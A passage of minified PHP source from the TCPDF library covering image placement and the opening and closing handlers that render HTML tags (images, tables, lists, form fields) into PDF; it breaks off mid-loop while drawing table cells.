{$img->readImage($file);}if($resize){$img->resizeImage($neww,$newh,10,1,false);}$img->setCompressionQuality($this->jpeg_quality);$img->setImageFormat('jpeg');$tempname=TCPDF_STATIC::getObjFilename('img',$this->file_id);$img->writeImage($tempname);$info=TCPDF_IMAGES::_parsejpeg($tempname);unlink($tempname);$img->destroy();}catch(Exception$e){$info=false;}}if($info===false){return;}TCPDF_STATIC::set_mqr($mqr);if($ismask){$info['cs']='DeviceGray';}if($imgmask!==false){$info['masked']=$imgmask;}if(!empty($exurl)){$info['exurl']=$exurl;}$info['altimgs']=$altimgs;$info['i']=$this->setImageBuffer($file,$info);}$this->img_rb_y=$y+$h;if($this->rtl){if($palign=='L'){$ximg=$this->lMargin;}elseif($palign=='C'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x-$w;}$this->img_rb_x=$ximg;}else {if($palign=='L'){$ximg=$this->lMargin;}elseif($palign=='C'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x;}$this->img_rb_x=$ximg+$w;}if($ismask OR $hidden){return $info['i'];}$xkimg=$ximg*$this->k;if(!$alt){$this->_out(sprintf('q %F 0 0 %F %F %F cm /I%u Do Q',($w*$this->k),($h*$this->k),$xkimg,(($this->h-($y+$h))*$this->k),$info['i']));}if(!empty($border)){$bx=$this->x;$by=$this->y;$this->x=$ximg;if($this->rtl){$this->x+=$w;}$this->y=$y;$this->Cell($w,$h,'',$border,0,'',0,'',0,true);$this->x=$bx;$this->y=$by;}if($link){$this->Link($ximg,$y,$w,$h,$link,0);}switch($align){case 'T':{$this->y=$y;$this->x=$this->img_rb_x;break;}case 'M':{$this->y=$y+round($h/2);$this->x=$this->img_rb_x;break;}case 'B':{$this->y=$this->img_rb_y;$this->x=$this->img_rb_x;break;}case 'N':{$this->SetY($this->img_rb_y);break;}default:{break;}}$this->endlinex=$this->img_rb_x;if($this->inxobj){$this->xobjects[$this->xobjid]['images'][]=$info['i'];}return $info['i'];} function openHTMLTagHandler($dom,$key,$cell){$tag=$dom[$key];$parent=$dom[($dom[$key]['parent'])];$firsttag=($key==1);if(isset($tag['dir'])){$this->setTempRTL($tag['dir']);}else {$this->tmprtl=false;}if($tag['block']){$hbz=0;$hb=0;if(isset($this->tagvspaces[$tag['value']][0]['h']) AND ($this->tagvspaces[$tag['value']][0]['h']>=0)){$cur_h=$this->tagvspaces[$tag['value']][0]['h'];}elseif(isset($tag['fontsize'])){$cur_h=$this->getCellHeight($tag['fontsize']/$this->k);}else {$cur_h=$this->getCellHeight($this->FontSize);}if(isset($this->tagvspaces[$tag['value']][0]['n'])){$on=$this->tagvspaces[$tag['value']][0]['n'];}elseif(preg_match('/[h][0-9]/',$tag['value'])>0){$on=0.6;}else {$on=1;}if((!isset($this->tagvspaces[$tag['value']])) AND (in_array($tag['value'],array('div','dt','dd','li','br','hr')))){$hb=0;}else {$hb=($on*$cur_h);}if(($this->htmlvspace<=0) AND ($on>0)){if(isset($parent['fontsize'])){$hbz=(($parent['fontsize']/$this->k)*$this->cell_height_ratio);}else {$hbz=$this->getCellHeight($this->FontSize);}}if(isset($dom[($key-1)]) AND ($dom[($key-1)]['value']=='table')){$hbz=0;}$hbc=0;if(isset($this->tagvspaces[$tag['value']][1]['h']) AND ($this->tagvspaces[$tag['value']][1]['h']>=0)){$pre_h=$this->tagvspaces[$tag['value']][1]['h'];}elseif(isset($parent['fontsize'])){$pre_h=$this->getCellHeight($parent['fontsize']/$this->k);}else {$pre_h=$this->getCellHeight($this->FontSize);}if(isset($this->tagvspaces[$tag['value']][1]['n'])){$cn=$this->tagvspaces[$tag['value']][1]['n'];}elseif(preg_match('/[h][0-9]/',$tag['value'])>0){$cn=0.6;}else {$cn=1;}if(isset($this->tagvspaces[$tag['value']][1])){$hbc=($cn*$pre_h);}}switch($tag['value']){case 'img':{if(!empty($tag['attribute']['src'])){if($tag['attribute']['src'][0]==='@'){$tag['attribute']['src']='@'.base64_decode(substr($tag['attribute']['src'],1));$type='';}else {$type=TCPDF_IMAGES::getImageFileType($tag['attribute']['src']);}if(!isset($tag['width'])){$tag['width']=0;}if(!isset($tag['height'])){$tag['height']=0;}$tag['attribute']['align']='bottom';switch($tag['attribute']['align']){case 'top':{$align='T';break;}case 'middle':{$align='M';break;}case 'bottom':{$align='B';break;}default:{$align='B';break;}}$prevy=$this->y;$xpos=$this->x;$imglink='';if(isset($this->HREF['url']) AND !TCPDF_STATIC::empty_string($this->HREF['url'])){$imglink=$this->HREF['url'];if($imglink[0]=='#'){$lnkdata=explode(',',$imglink);if(isset($lnkdata[0])){$page=intval(substr($lnkdata[0],1));if(empty($page) OR ($page<=0)){$page=$this->page;}if(isset($lnkdata[1]) AND (strlen($lnkdata[1])>0)){$lnky=floatval($lnkdata[1]);}else {$lnky=0;}$imglink=$this->AddLink();$this->SetLink($imglink,$lnky,$page);}}}$border=0;if(isset($tag['border']) AND !empty($tag['border'])){$border=$tag['border'];}$iw='';if(isset($tag['width'])){$iw=$this->getHTMLUnitToUnits($tag['width'],($tag['fontsize']/$this->k),'px',false);}$ih='';if(isset($tag['height'])){$ih=$this->getHTMLUnitToUnits($tag['height'],($tag['fontsize']/$this->k),'px',false);}if(($type=='eps') OR ($type=='ai')){$this->ImageEps($tag['attribute']['src'],$xpos,$this->y,$iw,$ih,$imglink,true,$align,'',$border,true);}elseif($type=='svg'){$this->ImageSVG($tag['attribute']['src'],$xpos,$this->y,$iw,$ih,$imglink,$align,'',$border,true);}else {$this->Image($tag['attribute']['src'],$xpos,$this->y,$iw,$ih,'',$imglink,$align,false,300,'',false,false,$border,false,false,true);}switch($align){case 'T':{$this->y=$prevy;break;}case 'M':{$this->y=(($this->img_rb_y+$prevy-($this->getCellHeight($tag['fontsize']/$this->k)))/2);break;}case 'B':{$this->y=$this->img_rb_y-($this->getCellHeight($tag['fontsize']/$this->k)-($this->getFontDescent($tag['fontname'],$tag['fontstyle'],$tag['fontsize'])*$this->cell_height_ratio));break;}}}break;}case 'table':{$cp=0;$cs=0;$dom[$key]['rowspans']=array();if(!isset($dom[$key]['attribute']['nested']) OR ($dom[$key]['attribute']['nested']!='true')){$this->htmlvspace=0;if(!TCPDF_STATIC::empty_string($dom[$key]['thead'])){$this->thead=$dom[$key]['thead'];if(!isset($this->theadMargins) OR (empty($this->theadMargins))){$this->theadMargins=array();$this->theadMargins['cell_padding']=$this->cell_padding;$this->theadMargins['lmargin']=$this->lMargin;$this->theadMargins['rmargin']=$this->rMargin;$this->theadMargins['page']=$this->page;$this->theadMargins['cell']=$cell;$this->theadMargins['gvars']=$this->getGraphicVars();}}}$dom[$key]['old_cell_padding']=$this->cell_padding;if(isset($tag['attribute']['cellpadding'])){$pad=$this->getHTMLUnitToUnits($tag['attribute']['cellpadding'],1,'px');$this->SetCellPadding($pad);}elseif(isset($tag['padding'])){$this->cell_padding=$tag['padding'];}if(isset($tag['attribute']['cellspacing'])){$cs=$this->getHTMLUnitToUnits($tag['attribute']['cellspacing'],1,'px');}elseif(isset($tag['border-spacing'])){$cs=$tag['border-spacing']['V'];}$prev_y=$this->y;if($this->checkPageBreak(((2*$cp)+(2*$cs)+$this->lasth),'',false) OR ($this->y<$prev_y)){$this->inthead=true;$this->checkPageBreak($this->PageBreakTrigger+1);}break;}case 'tr':{$dom[$key]['cellpos']=array();break;}case 'hr':{if((isset($tag['height'])) AND ($tag['height']!='')){$hrHeight=$this->getHTMLUnitToUnits($tag['height'],1,'px');}else {$hrHeight=$this->GetLineWidth();}$this->addHTMLVertSpace($hbz,max($hb,($hrHeight/2)),$cell,$firsttag);$x=$this->GetX();$y=$this->GetY();$wtmp=$this->w-$this->lMargin-$this->rMargin;if($cell){$wtmp-=($this->cell_padding['L']+$this->cell_padding['R']);}if((isset($tag['width'])) AND ($tag['width']!='')){$hrWidth=$this->getHTMLUnitToUnits($tag['width'],$wtmp,'px');}else {$hrWidth=$wtmp;}$prevlinewidth=$this->GetLineWidth();$this->SetLineWidth($hrHeight);$this->Line($x,$y,$x+$hrWidth,$y);$this->SetLineWidth($prevlinewidth);$this->addHTMLVertSpace(max($hbc,($hrHeight/2)),0,$cell,!isset($dom[($key+1)]));break;}case 'a':{if(array_key_exists('href',$tag['attribute'])){$this->HREF['url']=$tag['attribute']['href'];}break;}case 'dl':{++$this->listnum;if($this->listnum==1){$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);}else {$this->addHTMLVertSpace(0,0,$cell,$firsttag);}break;}case 'dt':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'dd':{if($this->rtl){$this->rMargin+=$this->listindent;}else {$this->lMargin+=$this->listindent;}++$this->listindentlevel;$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'ul':case 'ol':{++$this->listnum;if($tag['value']=='ol'){$this->listordered[$this->listnum]=true;}else {$this->listordered[$this->listnum]=false;}if(isset($tag['attribute']['start'])){$this->listcount[$this->listnum]=intval($tag['attribute']['start'])-1;}else {$this->listcount[$this->listnum]=0;}if($this->rtl){$this->rMargin+=$this->listindent;$this->x-=$this->listindent;}else {$this->lMargin+=$this->listindent;$this->x+=$this->listindent;}++$this->listindentlevel;if($this->listnum==1){if($key>1){$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);}}else {$this->addHTMLVertSpace(0,0,$cell,$firsttag);}break;}case 'li':{if($key>2){$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);}if($this->listordered[$this->listnum]){if(isset($parent['attribute']['type']) AND !TCPDF_STATIC::empty_string($parent['attribute']['type'])){$this->lispacer=$parent['attribute']['type'];}elseif(isset($parent['listtype']) AND !TCPDF_STATIC::empty_string($parent['listtype'])){$this->lispacer=$parent['listtype'];}elseif(isset($this->lisymbol) AND !TCPDF_STATIC::empty_string($this->lisymbol)){$this->lispacer=$this->lisymbol;}else {$this->lispacer='#';}++$this->listcount[$this->listnum];if(isset($tag['attribute']['value'])){$this->listcount[$this->listnum]=intval($tag['attribute']['value']);}}else {if(isset($parent['attribute']['type']) AND !TCPDF_STATIC::empty_string($parent['attribute']['type'])){$this->lispacer=$parent['attribute']['type'];}elseif(isset($parent['listtype']) AND !TCPDF_STATIC::empty_string($parent['listtype'])){$this->lispacer=$parent['listtype'];}elseif(isset($this->lisymbol) AND !TCPDF_STATIC::empty_string($this->lisymbol)){$this->lispacer=$this->lisymbol;}else {$this->lispacer='!';}}break;}case 'blockquote':{if($this->rtl){$this->rMargin+=$this->listindent;}else {$this->lMargin+=$this->listindent;}++$this->listindentlevel;$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'br':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'div':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'p':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'pre':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);$this->premode=true;break;}case 'sup':{$this->SetXY($this->GetX(),$this->GetY()-((0.7*$this->FontSizePt)/$this->k));break;}case 'sub':{$this->SetXY($this->GetX(),$this->GetY()+((0.3*$this->FontSizePt)/$this->k));break;}case 'h1':case 'h2':case 'h3':case 'h4':case 'h5':case 'h6':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'form':{if(isset($tag['attribute']['action'])){$this->form_action=$tag['attribute']['action'];}else {$this->Error('Please explicitly set action attribute path!');}if(isset($tag['attribute']['enctype'])){$this->form_enctype=$tag['attribute']['enctype'];}else {$this->form_enctype='application/x-www-form-urlencoded';}if(isset($tag['attribute']['method'])){$this->form_mode=$tag['attribute']['method'];}else {$this->form_mode='post';}break;}case 'input':{if(isset($tag['attribute']['name']) AND !TCPDF_STATIC::empty_string($tag['attribute']['name'])){$name=$tag['attribute']['name'];}else {break;}$prop=array();$opt=array();if(isset($tag['attribute']['readonly']) AND !TCPDF_STATIC::empty_string($tag['attribute']['readonly'])){$prop['readonly']=true;}if(isset($tag['attribute']['value']) AND !TCPDF_STATIC::empty_string($tag['attribute']['value'])){$value=$tag['attribute']['value'];}if(isset($tag['attribute']['maxlength']) AND !TCPDF_STATIC::empty_string($tag['attribute']['maxlength'])){$opt['maxlen']=intval($tag['attribute']['maxlength']);}$h=$this->getCellHeight($this->FontSize);if(isset($tag['attribute']['size']) AND !TCPDF_STATIC::empty_string($tag['attribute']['size'])){$w=intval($tag['attribute']['size'])*$this->GetStringWidth(chr(32))*2;}else {$w=$h;}if(isset($tag['attribute']['checked']) AND (($tag['attribute']['checked']=='checked') OR ($tag['attribute']['checked']=='true'))){$checked=true;}else {$checked=false;}if(isset($tag['align'])){switch($tag['align']){case 'C':{$opt['q']=1;break;}case 'R':{$opt['q']=2;break;}case 'L':default:{break;}}}switch($tag['attribute']['type']){case 'text':{if(isset($value)){$opt['v']=$value;}$this->TextField($name,$w,$h,$prop,$opt,'','',false);break;}case 'password':{if(isset($value)){$opt['v']=$value;}$prop['password']='true';$this->TextField($name,$w,$h,$prop,$opt,'','',false);break;}case 'checkbox':{if(!isset($value)){break;}$this->CheckBox($name,$w,$checked,$prop,$opt,$value,'','',false);break;}case 'radio':{if(!isset($value)){break;}$this->RadioButton($name,$w,$prop,$opt,$value,$checked,'','',false);break;}case 'submit':{if(!isset($value)){$value='submit';}$w=$this->GetStringWidth($value)*1.5;$h*=1.6;$prop=array('lineWidth'=>1,'borderStyle'=>'beveled','fillColor'=>array(196,196,196),'strokeColor'=>array(255,255,255));$action=array();$action['S']='SubmitForm';$action['F']=$this->form_action;if($this->form_enctype!='FDF'){$action['Flags']=array('ExportFormat');}if($this->form_mode=='get'){$action['Flags']=array('GetMethod');}$this->Button($name,$w,$h,$value,$action,$prop,$opt,'','',false);break;}case 'reset':{if(!isset($value)){$value='reset';}$w=$this->GetStringWidth($value)*1.5;$h*=1.6;$prop=array('lineWidth'=>1,'borderStyle'=>'beveled','fillColor'=>array(196,196,196),'strokeColor'=>array(255,255,255));$this->Button($name,$w,$h,$value,array('S'=>'ResetForm'),$prop,$opt,'','',false);break;}case 'file':{$prop['fileSelect']='true';$this->TextField($name,$w,$h,$prop,$opt,'','',false);if(!isset($value)){$value='*';}$w=$this->GetStringWidth($value)*2;$h*=1.2;$prop=array('lineWidth'=>1,'borderStyle'=>'beveled','fillColor'=>array(196,196,196),'strokeColor'=>array(255,255,255));$jsaction='var f=this.getField(\''.$name.'\'); f.browseForFileToSubmit();';$this->Button('FB_'.$name,$w,$h,$value,$jsaction,$prop,$opt,'','',false);break;}case 'hidden':{if(isset($value)){$opt['v']=$value;}$opt['f']=array('invisible','hidden');$this->TextField($name,0,0,$prop,$opt,'','',false);break;}case 'image':{if(isset($tag['attribute']['src']) AND !TCPDF_STATIC::empty_string($tag['attribute']['src'])){$img=$tag['attribute']['src'];}else {break;}$value='img';if(isset($tag['attribute']['onclick']) AND !empty($tag['attribute']['onclick'])){$jsaction=$tag['attribute']['onclick'];}else {$jsaction='';}$this->Button($name,$w,$h,$value,$jsaction,$prop,$opt,'','',false);break;}case 'button':{if(!isset($value)){$value=' ';}$w=$this->GetStringWidth($value)*1.5;$h*=1.6;$prop=array('lineWidth'=>1,'borderStyle'=>'beveled','fillColor'=>array(196,196,196),'strokeColor'=>array(255,255,255));if(isset($tag['attribute']['onclick']) AND !empty($tag['attribute']['onclick'])){$jsaction=$tag['attribute']['onclick'];}else {$jsaction='';}$this->Button($name,$w,$h,$value,$jsaction,$prop,$opt,'','',false);break;}}break;}case 'textarea':{$prop=array();$opt=array();if(isset($tag['attribute']['readonly']) AND !TCPDF_STATIC::empty_string($tag['attribute']['readonly'])){$prop['readonly']=true;}if(isset($tag['attribute']['name']) AND !TCPDF_STATIC::empty_string($tag['attribute']['name'])){$name=$tag['attribute']['name'];}else {break;}if(isset($tag['attribute']['value']) AND !TCPDF_STATIC::empty_string($tag['attribute']['value'])){$opt['v']=$tag['attribute']['value'];}if(isset($tag['attribute']['cols']) AND !TCPDF_STATIC::empty_string($tag['attribute']['cols'])){$w=intval($tag['attribute']['cols'])*$this->GetStringWidth(chr(32))*2;}else {$w=40;}if(isset($tag['attribute']['rows']) AND !TCPDF_STATIC::empty_string($tag['attribute']['rows'])){$h=intval($tag['attribute']['rows'])*$this->getCellHeight($this->FontSize);}else {$h=10;}$prop['multiline']='true';$this->TextField($name,$w,$h,$prop,$opt,'','',false);break;}case 'select':{$h=$this->getCellHeight($this->FontSize);if(isset($tag['attribute']['size']) AND !TCPDF_STATIC::empty_string($tag['attribute']['size'])){$h*=($tag['attribute']['size']+1);}$prop=array();$opt=array();if(isset($tag['attribute']['name']) AND !TCPDF_STATIC::empty_string($tag['attribute']['name'])){$name=$tag['attribute']['name'];}else {break;}$w=0;if(isset($tag['attribute']['opt']) AND !TCPDF_STATIC::empty_string($tag['attribute']['opt'])){$options=explode('#!NwL!#',$tag['attribute']['opt']);$values=array();foreach($options as $val){if(strpos($val,'#!TaB!#')!==false){$opts=explode('#!TaB!#',$val);$values[]=$opts;$w=max($w,$this->GetStringWidth($opts[1]));}else {$values[]=$val;$w=max($w,$this->GetStringWidth($val));}}}else {break;}$w*=2;if(isset($tag['attribute']['multiple']) AND ($tag['attribute']['multiple']='multiple')){$prop['multipleSelection']='true';$this->ListBox($name,$w,$h,$values,$prop,$opt,'','',false);}else {$this->ComboBox($name,$w,$h,$values,$prop,$opt,'','',false);}break;}case 'tcpdf':{if(defined('K_TCPDF_CALLS_IN_HTML') AND (K_TCPDF_CALLS_IN_HTML===true)){if(isset($tag['attribute']['method'])){$tcpdf_method=$tag['attribute']['method'];if(method_exists($this,$tcpdf_method)){if(isset($tag['attribute']['params']) AND (!empty($tag['attribute']['params']))){$params=$this->unserializeTCPDFtagParameters($tag['attribute']['params']);call_user_func_array(array($this,$tcpdf_method),$params);}else {$this->$tcpdf_method();}$this->newline=true;}}}break;}default:{break;}}$bordertags=array('blockquote','br','dd','dl','div','dt','h1','h2','h3','h4','h5','h6','hr','li','ol','p','pre','ul','tcpdf','table');if(in_array($tag['value'],$bordertags)){$dom[$key]['borderposition']=$this->getBorderStartPosition();}if($dom[$key]['self'] AND isset($dom[$key]['attribute']['pagebreakafter'])){$pba=$dom[$key]['attribute']['pagebreakafter'];if(($pba=='true') OR ($pba=='left') OR ($pba=='right')){$this->checkPageBreak($this->PageBreakTrigger+1);}if((($pba=='left') AND (((!$this->rtl) AND (($this->page%2)==0)) OR (($this->rtl) AND (($this->page%2)!=0)))) OR (($pba=='right') AND (((!$this->rtl) AND (($this->page%2)!=0)) OR (($this->rtl) AND (($this->page%2)==0))))){$this->checkPageBreak($this->PageBreakTrigger+1);}}return $dom;} function closeHTMLTagHandler($dom,$key,$cell,$maxbottomliney=0){$tag=$dom[$key];$parent=$dom[($dom[$key]['parent'])];$lasttag=((!isset($dom[($key+1)])) OR ((!isset($dom[($key+2)])) AND ($dom[($key+1)]['value']=='marker')));$in_table_head=false;if($this->rtl){$xmax=$this->w;}else {$xmax=0;}if($tag['block']){$hbz=0;$hb=0;if(isset($this->tagvspaces[$tag['value']][1]['h']) AND ($this->tagvspaces[$tag['value']][1]['h']>=0)){$pre_h=$this->tagvspaces[$tag['value']][1]['h'];}elseif(isset($parent['fontsize'])){$pre_h=$this->getCellHeight($parent['fontsize']/$this->k);}else {$pre_h=$this->getCellHeight($this->FontSize);}if(isset($this->tagvspaces[$tag['value']][1]['n'])){$cn=$this->tagvspaces[$tag['value']][1]['n'];}elseif(preg_match('/[h][0-9]/',$tag['value'])>0){$cn=0.6;}else {$cn=1;}if((!isset($this->tagvspaces[$tag['value']])) AND ($tag['value']=='div')){$hb=0;}else {$hb=($cn*$pre_h);}if($maxbottomliney>$this->PageBreakTrigger){$hbz=$this->getCellHeight($this->FontSize);}elseif($this->y<$maxbottomliney){$hbz=($maxbottomliney-$this->y);}}switch($tag['value']){case 'tr':{$table_el=$dom[($dom[$key]['parent'])]['parent'];if(!isset($parent['endy'])){$dom[($dom[$key]['parent'])]['endy']=$this->y;$parent['endy']=$this->y;}if(!isset($parent['endpage'])){$dom[($dom[$key]['parent'])]['endpage']=$this->page;$parent['endpage']=$this->page;}if(!isset($parent['endcolumn'])){$dom[($dom[$key]['parent'])]['endcolumn']=$this->current_column;$parent['endcolumn']=$this->current_column;}if(isset($dom[$table_el]['rowspans'])){foreach($dom[$table_el]['rowspans'] as $k=>$trwsp){$dom[$table_el]['rowspans'][$k]['rowspan']-=1;if($dom[$table_el]['rowspans'][$k]['rowspan']==0){if(($dom[$table_el]['rowspans'][$k]['endpage']==$parent['endpage']) AND ($dom[$table_el]['rowspans'][$k]['endcolumn']==$parent['endcolumn'])){$dom[($dom[$key]['parent'])]['endy']=max($dom[$table_el]['rowspans'][$k]['endy'],$parent['endy']);}elseif(($dom[$table_el]['rowspans'][$k]['endpage']>$parent['endpage']) OR ($dom[$table_el]['rowspans'][$k]['endcolumn']>$parent['endcolumn'])){$dom[($dom[$key]['parent'])]['endy']=$dom[$table_el]['rowspans'][$k]['endy'];$dom[($dom[$key]['parent'])]['endpage']=$dom[$table_el]['rowspans'][$k]['endpage'];$dom[($dom[$key]['parent'])]['endcolumn']=$dom[$table_el]['rowspans'][$k]['endcolumn'];}}}foreach($dom[$table_el]['rowspans'] as $k=>$trwsp){if($dom[$table_el]['rowspans'][$k]['rowspan']==0){$dom[$table_el]['rowspans'][$k]['endpage']=max($dom[$table_el]['rowspans'][$k]['endpage'],$dom[($dom[$key]['parent'])]['endpage']);$dom[($dom[$key]['parent'])]['endpage']=$dom[$table_el]['rowspans'][$k]['endpage'];$dom[$table_el]['rowspans'][$k]['endcolumn']=max($dom[$table_el]['rowspans'][$k]['endcolumn'],$dom[($dom[$key]['parent'])]['endcolumn']);$dom[($dom[$key]['parent'])]['endcolumn']=$dom[$table_el]['rowspans'][$k]['endcolumn'];$dom[$table_el]['rowspans'][$k]['endy']=max($dom[$table_el]['rowspans'][$k]['endy'],$dom[($dom[$key]['parent'])]['endy']);$dom[($dom[$key]['parent'])]['endy']=$dom[$table_el]['rowspans'][$k]['endy'];}}foreach($dom[$table_el]['rowspans'] as $k=>$trwsp){if($dom[$table_el]['rowspans'][$k]['rowspan']==0){$dom[$table_el]['rowspans'][$k]['endpage']=$dom[($dom[$key]['parent'])]['endpage'];$dom[$table_el]['rowspans'][$k]['endcolumn']=$dom[($dom[$key]['parent'])]['endcolumn'];$dom[$table_el]['rowspans'][$k]['endy']=$dom[($dom[$key]['parent'])]['endy'];}}}$prev_page=$this->page;$this->setPage($dom[($dom[$key]['parent'])]['endpage']);if($this->num_columns>1){if(($prev_page<$this->page) AND ((($this->current_column==0) AND ($dom[($dom[$key]['parent'])]['endcolumn']==($this->num_columns-1))) OR ($this->current_column==$dom[($dom[$key]['parent'])]['endcolumn']))){$this->selectColumn(0);$dom[($dom[$key]['parent'])]['endcolumn']=0;$dom[($dom[$key]['parent'])]['endy']=$this->y;}else {$this->selectColumn($dom[($dom[$key]['parent'])]['endcolumn']);$this->y=$dom[($dom[$key]['parent'])]['endy'];}}else {$this->y=$dom[($dom[$key]['parent'])]['endy'];}if(isset($dom[$table_el]['attribute']['cellspacing'])){$this->y+=$this->getHTMLUnitToUnits($dom[$table_el]['attribute']['cellspacing'],1,'px');}elseif(isset($dom[$table_el]['border-spacing'])){$this->y+=$dom[$table_el]['border-spacing']['V'];}$this->Ln(0,$cell);if($this->current_column==$parent['startcolumn']){$this->x=$parent['startx'];}if($this->page>$parent['startpage']){if(($this->rtl) AND ($this->pagedim[$this->page]['orm']!=$this->pagedim[$parent['startpage']]['orm'])){$this->x-=($this->pagedim[$this->page]['orm']-$this->pagedim[$parent['startpage']]['orm']);}elseif((!$this->rtl) AND ($this->pagedim[$this->page]['olm']!=$this->pagedim[$parent['startpage']]['olm'])){$this->x+=($this->pagedim[$this->page]['olm']-$this->pagedim[$parent['startpage']]['olm']);}}break;}case 'tablehead':$in_table_head=true;$this->inthead=false;case 'table':{$table_el=$parent;if(isset($table_el['attribute']['border']) AND ($table_el['attribute']['border']>0)){$border=array('LTRB'=>array('width'=>$this->getCSSBorderWidth($table_el['attribute']['border']),'cap'=>'square','join'=>'miter','dash'=>0,'color'=>array(0,0,0)));}else {$border=0;}$default_border=$border;foreach($dom[($dom[$key]['parent'])]['trids'] as $j=>$trkey){if(isset($dom[($dom[$key]['parent'])]['rowspans'])){foreach($dom[($dom[$key]['parent'])]['rowspans'] as $k=>$trwsp){if(isset($prevtrkey) AND ($trwsp['trid']==$prevtrkey) AND ($trwsp['mrowspan']>0)){$dom[($dom[$key]['parent'])]['rowspans'][$k]['trid']=$trkey;}if($dom[($dom[$key]['parent'])]['rowspans'][$k]['trid']==$trkey){$dom[($dom[$key]['parent'])]['rowspans'][$k]['mrowspan']-=1;}}}if(isset($prevtrkey) AND ($dom[$trkey]['startpage']>$dom[$prevtrkey]['endpage'])){$pgendy=$this->pagedim[$dom[$prevtrkey]['endpage']]['hk']-$this->pagedim[$dom[$prevtrkey]['endpage']]['bm'];$dom[$prevtrkey]['endy']=$pgendy;if(isset($dom[($dom[$key]['parent'])]['rowspans'])){foreach($dom[($dom[$key]['parent'])]['rowspans'] as $k=>$trwsp){if(($trwsp['trid']==$prevtrkey) AND ($trwsp['mrowspan']>=0) AND ($trwsp['endpage']==$dom[$prevtrkey]['endpage'])){$dom[($dom[$key]['parent'])]['rowspans'][$k]['endy']=$pgendy;$dom[($dom[$key]['parent'])]['rowspans'][$k]['mrowspan']=-1;}}}}$prevtrkey=$trkey;$table_el=$dom[($dom[$key]['parent'])];}if(count($table_el['trids'])>0){unset($xmax);}foreach($table_el['trids'] as $j=>$trkey){$parent=$dom[$trkey];if(!isset($xmax)){$xmax=$parent['cellpos'][(count($parent['cellpos'])-1)]['endx'];}foreach($parent['cellpos'] as $k=>$cellpos){if(isset($cellpos['rowspanid']) AND ($cellpos['rowspanid']>=0)){$cellpos['startx']=$table_el['rowspans'][($cellpos['rowspanid'])]['startx'];$cellpos['endx']=$table_el['rowspans'][($cellpos['rowspanid'])]['endx'];$endy=$table_el['rowspans'][($cellpos['rowspanid'])]['endy'];$startpage=$table_el['rowspans'][($cellpos['rowspanid'])]['startpage'];$endpage=$table_el['rowspans'][($cellpos['rowspanid'])]['endpage'];$startcolumn=$table_el['rowspans'][($cellpos['rowspanid'])]['startcolumn'];$endcolumn=$table_el['rowspans'][($cellpos['rowspanid'])]['endcolumn'];}else {$endy=$parent['endy'];$startpage=$parent['startpage'];$endpage=$parent['endpage'];$startcolumn=$parent['startcolumn'];$endcolumn=$parent['endcolumn'];}if($this->num_columns==0){$this->num_columns=1;}if(isset($cellpos['border'])){$border=$cellpos['border'];}if(isset($cellpos['bgcolor']) AND ($cellpos['bgcolor'])!==false){$this->SetFillColorArray($cellpos['bgcolor']);$fill=true;}else {$fill=false;}$x=$cellpos['startx'];$y=$parent['starty'];$starty=$y;$w=abs($cellpos['endx']-$cellpos['startx']);$border_start=TCPDF_STATIC::getBorderMode($border,$position='start',$this->opencell);$border_end=TCPDF_STATIC::getBorderMode($border,$position='end',$this->opencell);$border_middle=TCPDF_STATIC::getBorderMode($border,$position='middle',$this->opencell);for($page=$startpage;$page<=$endpage;++$page){$ccode='';$this->setPage($page);if($this->num_columns<2){$this->x=$x;$this->y=$this->tMargin;}if($page>$startpage){if(($this->rtl) AND ($this->pagedim[$page]['orm']!=$this->pagedim[$startpage]['orm'])){$this->x-=($this->pagedim[$page]['orm']-$this->pagedim[$startpage]['orm']);}elseif((!$this->rtl) AND ($this->pagedim[$page]['olm']!=$this->pagedim[$startpage]['olm'])){$this->x+=($this->pagedim[$page]['olm']-$this->pagedim[$startpage]['olm']);}}if($startpage==$endpage){$deltacol=0;$deltath=0;for($column=$startcolumn;$column<=$endcolumn;++$column){$this->selectColumn($column);if($startcolumn==$endcolumn){$cborder=$border;$h=$endy-$parent['starty'];$this->y=$y;$this->x=$x;}elseif($column==$startcolumn){$cborder=$border_start;$this->y=$starty;$this->x=$x;$h=$this->h-$this->y-$this->bMargin;if($this->rtl){$deltacol=$this->x+$this->rMargin-$this->w;}else {$deltacol=$this->x-$this->lMargin;}}elseif($column==$endcolumn){$cborder=$border_end;if(isset($this->columns[$column]['th']['\''.$page.'\''])){$this->y=$this->columns[$column]['th']['\''.$page.'\''];}$this->x+=$deltacol;$h=$endy-$this->y;}else {$cborder=$border_middle;if(isset($this->columns[$column]['th']['\''.$page.'\''])){$this->y=$this->columns[$column]['th']['\''.$page.'\''];}$this->x+=$deltacol;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}elseif($page==$startpage){$deltacol=0;$deltath=0;for($column=$startcolumn;$column<$this->num_columns;++$column){$this->selectColumn($column);if($column==$startcolumn){$cborder=$border_start;$this->y=$starty;$this->x=$x;$h=$this->h-$this->y-$this->bMargin;if($this->rtl){$deltacol=$this->x+$this->rMargin-$this->w;}else {$deltacol=$this->x-$this->lMargin;}}else {$cborder=$border_middle;if(isset($this->columns[$column]['th']['\''.$page.'\''])){$this->y=$this->columns[$column]['th']['\''.$page.'\''];}$this->x+=$deltacol;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
